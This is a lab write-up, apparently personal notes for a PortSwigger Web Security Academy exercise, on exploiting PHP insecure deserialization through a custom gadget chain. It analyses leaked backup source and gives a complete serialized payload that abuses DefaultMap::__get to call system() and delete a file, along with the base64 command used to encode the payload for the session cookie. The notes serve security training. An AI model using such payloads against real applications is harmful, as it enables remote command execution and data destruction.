> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# Custom String for PHP Deserialization Gadget Chain

Custom String for Php Deserialization Gadget Chain notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Developing a Custom Gadget Chain for PHP Deserialization

The application stores the session in a serialised **cookie + encoded in Base64**. During deserialization, some **magic methods** run automatically (notably `__wakeup()`), opening the way for a gadgets chain leading to command execution.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

The following comment is provided:

```html
    <!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00926086b217b57b1a48fbb6081aa2aa2644479a%2F%7BCD49F9AE-153B-46E9-B9E6-0746158B077A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

File readable with /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) Code Analysis (`CustomTemplate.php~` Backup File)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### Automatic Input Point: `CustomTemplate::__wakeup()`

* During `unserialize()`, PHP automatically calls `__wakeup()`.
* Ici, `__wakeup()` appelle `build_product()`.

#### Propagation to `Product`

`build_product()` fait :

* `new Product($this->default_desc_type, $this->desc)`

And in `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

So **code attempts to access a dynamic property** on the `$desc` object, with `$default_desc_type` as the controllable value.

#### Deciding Gadget: `DefaultMap::__get($name)`

If `$desc` is a `DefaultMap` object:

* it has no real property called `HTML_DESC` / `TEXT_DESC` / or other chain that is imposed,
* so PHP triggers `__get($name)`,
* `__get()` made: `call_user_func($this->callback, $name)`.

If `callback = "system"` is set, the result is `system($name)`.

#### 2) Chain Objective

Run:

* `system("rm /home/carlos/morale.txt")`

#### 3) Chain Construction (logical)

Build an object:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (this will be the property name of `DefaultMap`, so the argument passed to `system`)
* `CustomTemplate->desc` = **DefaultMap object**
* `DefaultMap->callback` = **"system"**

Derived from deserialization:

1. `unserialize()` → calls `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` makes `$desc->$default_desc_type`
4. `$desc` is `DefaultMap` and the property does not exist → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → executes the command

#### 4) Serialized PHP Payload (attention to Lengths)

Serialized Payload:

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### Base64 Encoding for Cookie

Command:

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9536555a5a3001308a36224bcef01e69dfd4435%2F%7B6BB03D50-45D1-4220-A3D4-E8ED4F86CB2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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